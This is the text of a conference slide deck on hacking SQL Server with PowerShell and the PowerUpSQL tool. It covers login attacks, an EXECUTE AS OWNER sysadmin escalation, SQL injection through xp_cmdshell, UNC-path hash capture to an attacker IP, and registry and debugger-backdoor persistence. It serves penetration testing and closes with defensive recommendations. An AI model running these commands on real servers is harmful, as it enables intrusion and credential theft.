Abstract image of a woman sitting on books and studying on a laptop

2017 Thotcon - Hacking SQL Servers on Scale with PowerShell

Download as PPTX, PDF
Scott Sutherland, profile picture
Scott Sutherland

Scott Sutherland's presentation covers hacking SQL Server using PowerShell, outlining discovery techniques, privilege escalation scenarios, and post-exploitation strategies. The primary tool discussed, powerupsql, facilitates SQL Server discovery, auditing, and exploitation with over 70 functions available. The presentation emphasizes the implications of weak passwords and the ability to escalate privileges from SQL Server logins to sysadmin or Windows accounts.

Technology
Related topics:
Red Team
1 of 107
Downloaded 27 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
SQL _ 201720172017 what: Hacking SQL Server on Scale with PowerShell who: Scott Sutherland, 2017 Where: TOP_SECRET v1
Speaker Information Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind
Presentation Overview ● PowerUpSQL Overview ● SQL Server Discovery ● Privilege Escalation Scenarios o Domain user to SQL Server login o SQL Server Login to Sysadmin o Sysadmin to Windows Admin o Windows Admin to Sysadmin o Domain Escalation ● Post Exploitation Activities ● General Recommendations
PowerUpSQL https://github.com/netspi/PowerUpSQL
PowerUpSQL https://www.powershellgallery.com/packages/PowerUpSQL/
PowerUpSQL Overview: Primary Goals ● Instance Discovery ● Auditing ● Exploitation ● Scalable ● Flexible ● Portable https://github.com/netspi/PowerUpSQL
PowerUpSQL Overview: Functions Primary Attack Functions ● Invoke-SQLDumpInfo ● Invoke-SQLAudit ● Invoke-SQLEscalatePriv Popular Auxiliary Functions ● Get-SQLInstanceDomain ● Invoke-SQLOsCmd ● Invoke-SQLOsCLR ● Invoke-SQLImperstonateService ● Invoke-SQLAuditDefaultLoginPw ● Invoke-SQLAuditWeakLoginPw https://github.com/NetSPI/PowerUpSQL/wikiCurrently over 70 Functions
PowerUpSQL Overview: Help? List Functions Get-Command PowerUpSQL
PowerUpSQL Overview: Help? Get Command Help Get-Help Get-SQLServerInfo
SQL Server Discovery
SQL Server Discovery: Techniques Attacker Perspective Attack Technique Unauthenticated ● List from file ● TCP port scan ● UDP port scan ● UDP ping of broadcast addresses ● Azure DNS dictionary attack (x.databases.windows.net) ● Azure DNS lookup via public resources Local User ● Services ● Registry entries Domain User ● Service Principal Names ● Azure Portal / PowerShell Modules
SQL Server Discovery: PowerUpSQL Attacker Perspective PowerUpSQL Function Unauthenticated Get-SQLInstanceFile Unauthenticated Get-SQLInstanceUDPScan Local User Get-SQLInstanceLocal Domain User Get-SQLInstanceDomain Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
Escalating Privileges Unauthenticated / Domain User to SQL Login
Testing Login Access: PowerUpSQL Attacker Perspective Attack PowerUpSQL Function Example Unauthenticated Dictionary Attacks Invoke-SQLAuditWeakLoginPw –Instance “Server1Instance1” -UserFile c:tempusers.txt –PassFile C:tempPasswords.txt Unauthenticated Default Vendor Passwords Get-SQLInstanceFile C:tempComputers.txt | Select Computername | Get-SQLInstanceScanUDPThreaded –Verbose | Get-SQLServerLoginDefaultPw -Verbose Local User Excessive Login Priv Get-SQLInstance | Get-SQLConnectionTest -Verbose Domain Account Excessive Login Priv Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Testing Login Access: Default App Pw
Testing Login Access: Reusing Results Process Command Example Enumerate Accessible Servers $Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object {$_.Status –like “Accessible”} Get server information $Acessible | Get-SQLServerInfo -Verbose Get database list $Acessible | Get-SQLDatabase -Verbose Perform audit $Acessible | Invoke-SQLAudit -Verbose Do I have to rerun instance discovery every time I want to run a command? No.
Testing Login Access: DEMO Identifying Excessive Login Privileges as a Domain User
Testing Login Access: Demo DEMO
Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
Escalating Privileges SQL Login to SysAdmin
Escalating Privileges: Weak PWs Didn’t we just cover this? Yes, but there’s more… Attacker Perspective Attack PowerUpSQL Function Example Unauthenticated Dictionary Attacks Invoke-SQLAuditWeakLoginPw –Instance “Server1Instance1” -UserFile c:tempusers.txt –PassFile C:tempPasswords.txt Unauthenticated Default Vendor Passwords Get-SQLInstanceFile C:tempComputers.txt | Select Computername | Get-SQLInstanceScanUDPThreaded –Verbose | Get-SQLServerLoginDefaultPw -Verbose Domain Account Excessive Login Priv Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw – Verbose
Escalating Privileges: Weak PWs …we can also enumerate SQL Server logins and Domain Accounts  Technique PowerUpSQL Function Blind Login Enumeration + Dictionary Attack = Super Cool! Invoke-SQLAuditWeakLoginPw • Enumerate all SQL Server logins with the Public role • Enumerate all domain accounts with the Public role
Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail.
Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id”
Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID
Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat
Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat select n [id], SUSER_NAME(n) [user_name] from ( select top 10000 row_number() over(order by t1.number) as N from master..spt_values t1 cross join master..spt_values t2 ) a where SUSER_NAME(n) is not null Code gifted from @mobileck Source: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain Domain of SQL Server
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group Full RID of Domain Admins group
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 6. Increment and repeat 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: DEMO Get-SQLFuzzServerLogin Invoke-SQLAuditWeakLoginPw Get-SQLFuzzDomainAccount
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Escalating Privileges: Impersonation 1. Impersonate Privilege • Server: EXECUTE AS LOGIN • Database: EXECUTE AS USER 2. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER • Signed with cert login 3. Automatic Execution of Stored Procedures 4. Agent Jobs • User, Reader, and Operator roles 5. xp_cmdshell proxy acount 6. Create Databse Link to File or Server 7. Import / Install Custom Assemblies 8. Ad-Hoc Queries 9. Shared Service Accounts 10. Database Links 11. UNC Path Injection 12. Python code execution
Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Pros • Execute queries/commands in another user context Cons • Commands and queries are not limited in any way • Requires database to be configured as trustworthy for OS command execution Escalating Privileges: Impersonation
Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Escalating Privileges: Impersonation
Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE Cons • No granular control over the database owner’s privileges • DB_OWNER role can EXECUTE AS OWNER of the DB, which is often a sysadmin • Requires database to be configured as trustworthy for OS command execution • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO SYSADMIN is often the OWNER Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Issues • Use signed Procedures o Create stored procedure o Create a database master key o Create a certificate o Create a login from the certificate o Configure login privileges o Sign stored procedure with certifiate o GRANT EXECUTE to User Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE • Granular control over permissions • Database does NOT have to be configured as trustworthy for OS command execution Cons • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions Escalating Privileges: Impersonation
SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO PURE EVIL https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
SQL Injection Example EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--'; https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
SQL Injection Example Escalating Privileges: Impersonation
Automatic Execution of Stored Procedure • Stored procedures ca be configured to execute when the SQL Server service restarts Pros • Marking a stored procedure to run when the SQL Server service restarts has many use cases • Only stored procedures in the master database can be marked for auto execution Cons • No granular control over what context the startup command is executed in • All stored procedures marked for auto execution are executed as ‘sa’, even if ‘sa’ is disabled • Any non sysadmin access to stored procedures can lead to execution as ‘sa’ Escalating Privileges: Impersonation
Escalating Privileges: DEMO Invoke-SQLAudit
Escalating Privileges: Invoke-SQLPrivEsc Whooray for Automation Demo!
Escalating Privileges: DEMO Invoke-SQLEscalatePriv
Escalating Privileges: Invoke-SQLPrivEsc DEMO
Escalating Privileges SysAdmin to Windows Service Account
OS Command Execution Through SQL Server = Windows Service Account Impersonation Escalating Privileges: SysAdmin to Win Account
You don’t need to know the password, crack a hash, or PTH. Escalating Privileges: SysAdmin to Win Account
There are a lot of options for executing OS commands. Escalating Privileges: SysAdmin to Win Account
Add invoke-sqloscmdclr and agents Technique Configuration Change Requires Sysadmin Requires Disk Read/Write Notes xp_cmdshell Yes Yes No sp_configure ‘xp_cmdshell', 1; RECONFIGURE; Can be configured with proxy account. (sp_xp_cmdshell_proxy_account) Custom Extended Stored Procedure No Yes Yes sp_addextendedproc CLR Assembly Yes No No sp_configure ‘clr enabled', 1; RECONFIGURE; sp_configure ‘clr strict security', 1; RECONFIGURE; -- 2017 Requires: Database has ‘Is_Trustworthy’ flag set. Requires: CREATE ASSEMBLY permission or sysadmin Agent Job: • CmdExec • PowerShell • SSIS • ActiveX: Jscript • ActiveX: VBScript No No No Can be configured with proxy account. Requires one of the role below: SQLAgentUserRole SQLAgentReaderRole SQLAgentOperatorRole Python Execution Yes Yes No sp_configure 'external scripts enabled', 1; RECONFIGURE; Write to file autorun Yes Yes Yes sp_addlinkedserver Openrowset Opendataset Write to registry autorun Yes Yes Yes xp_regwrite
Escalating Privileges: SysAdmin to Win Account
There are a lot Windows account SQL Server can be configured with. Escalating Privileges: SysAdmin to Win Account
Service Account Types ● Local User ● Local System ● Network Service ● Local managed service account ● Domain managed service account ● Domain User ● Domain Admin Escalating Privileges: SysAdmin to Win Account
Escalating Privileges: Invoke-SQLOSCmd Invoke-SQLOSCMD can be used for basic command execution via xp_cmdshell. PS C:>$Accessible | Invoke-SQLOSCmd –Command “whoami” ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
Escalating Privileges Shared Service Accounts
Escalating Privileges: Shared Svc Accounts Why should I care about shared service accounts? 1. SysAdmins can execute OS commands 2. OS commands run as the SQL Server service account 3. Service accounts have sysadmin privileges by default 4. Companies often use a single domain account to run hundreds of SQL Servers 5. So if you get sysadmin on one server you have it on all of them! One account to rule them all!
InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Access to HVA with shared domain service account Key HVA = High Value Application LVA = Low Value Application Execute commands and gather data from other database servers via osql 3 Leveraging Shared MS SQL Server Service Accounts
Escalating Privileges Crawling SQL Server Links
Escalating Privileges: Crawling Links What’s a SQL Server link? ● SQL Server links are basically persistent database connections for SQL Servers. Why should I care? ● Short answer = privilege escalation ● Public role can use links to execute queries on remote servers (impersonation) SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’) ● Stored procedures can be executed – like xp_cmdshell ;) ● Links can be crawled
InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain EvilKey HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB1 LVA
InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB Link with SA account DB1 LVA Execute SQL queries and local commands on database servers via nested linked services 2
Escalating Privileges: Crawling Links Penetration Test Stats ● Database links exist (and can be crawled) in about 50% of environments we’ve seen ● The max number of hops we’ve seen is 12 ● The max number of servers crawled is 226
Escalating Privileges: Crawling Links Old Metasploit Module ● mssql_linkcrawler Module ● Author: Antti Rantasaari and Scott Sutherland - Released 2012 ● https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler New PowerUpSQL Function ● Get-SQLServerLinkCrawl ● Author: Antti Rantasaari ● https://blog.netspi.com/sql-server-link-crawling-powerupsql/
Escalating Privileges: Crawling Links Function Description Get-SQLServerLink Get a list of SQL Server Link on the server. Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution. Examples Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008“ Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008" -Query “select * from master..sysdatabases” Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
Escalating Privileges: DEMO Get-SQLServerLinkCrawl
DEMO
Escalating Privileges: Crawling Links
Escalating Privileges UNC Path Injection
Escalating Privileges: UNC Injection UNC Path Injection Summary ● UNC paths are used for accessing remote file servers like so 192.168.1.4file ● Almost all procedures that accept a file path in SQL Server, support UNC paths ● UNC paths can be used to force the SQL Server service account to authenticate to an attacker ● An attacker can then capture the NetNTLM password hash and crack or relay it ● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges: UNC Injection
Escalating Privileges: UNC Injection The Issue • By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path xp_dirtree 'attackeripfile‘ xp_fileexists 'attackeripfile‘ The Solution • EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that) UNC Path Injection Cheat Sheet (More options) • https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
Escalating Privileges: UNC Injection Another Issue • The Public role can perform UNC path injection into the BACKUP and RESTORE commands: BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘ RESTORE LOG [TESTING] FROM DISK = 'attackeripfile' Partial Solution • A patch was released for SQL Server versions 2012 through 2016 https://technet.microsoft.com/library/security/MS16-131 • There is no patch for SQL Server 2000 to 2008
Escalating Privileges: UNC Injection So, in summary… 1. The PUBLIC role can access the SQL Server service account NetNTLM password hash by default 2. A ton of domain users have PUBLIC role access 3. Whooray for domain privilege escalation!
Escalating Privileges: DEMO Get-SQLServiceAccountPwHashes …what? It’s self descriptive 
Escalating Privileges: UNC Path Injection DEMO
Escalating Privileges OS Admin to SysAdmin
Escalating Privileges: OS Admin to SysAdmin Two things to remember… 1. Different SQL Server versions can be abused in different ways 2. All SQL Server versions provide the service account with sysadmin privileges.
Escalating Privileges: OS Admin to SysAdmin Approach 2000 2005 2008 2012 2014 2016 Read LSA Secrets x x x x x x Dump Wdigest or NTLM password hash from Memory x x x x x x Process Migration (Remote DLL or Shellcode Injection) x x x x x x Steal Authentication Token from SQL Server service process x x x x x x Log into SQL Server as a local administrator x x Log into SQL Server as a LocalSystem x x x Log into SQL Server in Single User Mode as a local administrator ? x x x x x
Escalating Privileges: OS Admin to SysAdmin Here are some tool options...Approach Account Password Recovery Account Impersonation Default Sysadmin Privileges Common Tools Read LSA Secrets (Because service accounts) X Mimikatz, Metasploit, PowerSploit, Empire, LSADump Dump Wdigest or NTLM password hash from Memory X Mimikatz, Metasploit, PowerSploit, Empire Note: This tends to fail on protected processes. Process Migration (Remote DLL or Shellcode Injection) X Metasploit, PowerSploit, Empire Python, Powershell, C, C++ Steal Authentication Token from SQL Server service process X Metasploit, Incognito, Invoke-TokenManipulation Log into SQL Server as a local administrator X Any SQL Server client. Note: Only affects older versions. Log into SQL Server as a LocalSystem X Ay SQL Server client and PSExec. Note: Only affects older versions. Log into SQL Server in Single User Mode as a local administrator X DBATools
Escalating Privileges: DEMO Invoke-SQLImpersonateService (Wraps Invoke-TokenManipulation)
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Common Post Exploitation Activities
Post Exploitation: Overview Common Post Exploitation Activities 1. Establish Persistence • SQL Server Layer: startup procedures, agent jobs, triggers, modified code • OS Layer: Registry & file auto runs, tasks, services, etc. 2. Identify Sensitive Data • Target large databases • Locate transparently encrypted databases • Search columns based on keywords and sample data • Use regular expressions and the Luhn formula against data samples 3. Exfiltrate Sensitive Data • All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)
Post Exploitation: Persistence Task Command Example Registry Autorun Persistence Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command "EvilBoxEvilSandwich.exe" -Instance "SQLServer1STANDARDDEV2014" Debugger Backdoor Persistence Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:windowssystem32cmd.exe' -Instance "SQLServer1STANDARDDEV2014"
Post Exploitation: Persistence
Post Exploitation: Finding Data Task Command Example Locate Encrypted Databases Get-SQLInstanceDomain -Verbose | Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq “TRUE”} Locate and Sample Sensitive Columns and Export to CSV Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults | Export-CSV –NoTypeInformation c:tempdatasample.csv
Post Exploitation: DEMO Hunting for Sensitive Data
Post Exploitation: Finding Sensitive Data DEMO
General Recommendations
General Recommendations 1. Enforce least privilege everywhere! 2. Disable dangerous default stored procedures. 3. Install security patches. 4. Audit and fix insecure configurations. 5. Use policy based management for standardizing configurations. 6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
Take Aways 1. SQL Server is everywhere 2. SQL Server has many trust relationships with Windows/AD 3. Tons of people of public access 4. SQL Server has many default and common configurations that can be exploited to gain access 5. Service account have sysadmin privileges 6. A lot of it has been automated with PowerUPSQL
PowerUpSQL Overview: Thanks! Individual Third Party Code / Direct Contributors Antti Rantasaari, Eric Gruber, and Alexander Leary, @leoloobeek, Mike Manzotti, Will Schroeder, @Sw4mpf0x, and @ktaranov Contributions, QA, bug fixes Boe Prox Runspace blogs Warren F. ( RamblingCookieMonster) Invoke-Parallel function Oyvind Kallstad Test-IsLuhnValid function Kevin Robertson Invoke-Inveigh Joe Bialek Invoke-TokenManipulation Khai Tran, NetSPI assessment and dev teams Design advice
Speaker Information / Questions? Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind

More Related Content

PPTX
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PDF
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
 
PPTX
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
Scott Sutherland
 
PPTX
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PPTX
2019 Blackhat Booth Presentation - PowerUpSQL
Scott Sutherland
 
PPTX
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
Scott Sutherland
 
PPTX
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
NetSPI
 
PDF
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
 
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
Scott Sutherland
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
2019 Blackhat Booth Presentation - PowerUpSQL
Scott Sutherland
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
Scott Sutherland
 
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
NetSPI
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
 

What's hot (20)

PDF
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
Scott Sutherland
 
PPTX
Beyond xp_cmdshell: Owning the Empire through SQL Server
Scott Sutherland
 
PPTX
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Scott Sutherland
 
PPTX
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Scott Sutherland
 
PPTX
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Chema Alonso
 
PPTX
Introduction To Windows Power Shell
Microsoft TechNet
 
PDF
Slides Cassandra
hamidd77
 
PPTX
How to scheduled jobs in a cloudera cluster without oozie
Tiago Simões
 
PDF
Tanel Poder - Troubleshooting Complex Oracle Performance Issues - Part 1
Tanel Poder
 
PDF
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
Lucidworks
 
PPTX
How to implement a gdpr solution in a cloudera architecture
Tiago Simões
 
PDF
How to use prancer to detect and fix the azure sql resources which uses tls v...
Prancer Io
 
PDF
Solr Security: Tips and Tricks and Things You Really Ought to Know - Kevin Co...
Lucidworks
 
PDF
Introduction to MariaDb
BehzadDara
 
PDF
Detect and fix the azure sql resources which uses tls version less than 1.2
Prancer Io
 
PDF
Exploring, understanding and monitoring macOS activity with osquery
Zachary Wasserman
 
PDF
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Lucidworks
 
DOCX
Horizontal clustering configuration steps
TUSHAR VARSHNEY
 
PPT
Download Presentation
webhostingguy
 
ODP
Virtual Hosts Configuration with Weblogic Server
Pawan Kumar
 
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
Scott Sutherland
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Scott Sutherland
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Scott Sutherland
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Scott Sutherland
 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Chema Alonso
 
Introduction To Windows Power Shell
Microsoft TechNet
 
Slides Cassandra
hamidd77
 
How to scheduled jobs in a cloudera cluster without oozie
Tiago Simões
 
Tanel Poder - Troubleshooting Complex Oracle Performance Issues - Part 1
Tanel Poder
 
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
Lucidworks
 
How to implement a gdpr solution in a cloudera architecture
Tiago Simões
 
How to use prancer to detect and fix the azure sql resources which uses tls v...
Prancer Io
 
Solr Security: Tips and Tricks and Things You Really Ought to Know - Kevin Co...
Lucidworks
 
Introduction to MariaDb
BehzadDara
 
Detect and fix the azure sql resources which uses tls version less than 1.2
Prancer Io
 
Exploring, understanding and monitoring macOS activity with osquery
Zachary Wasserman
 
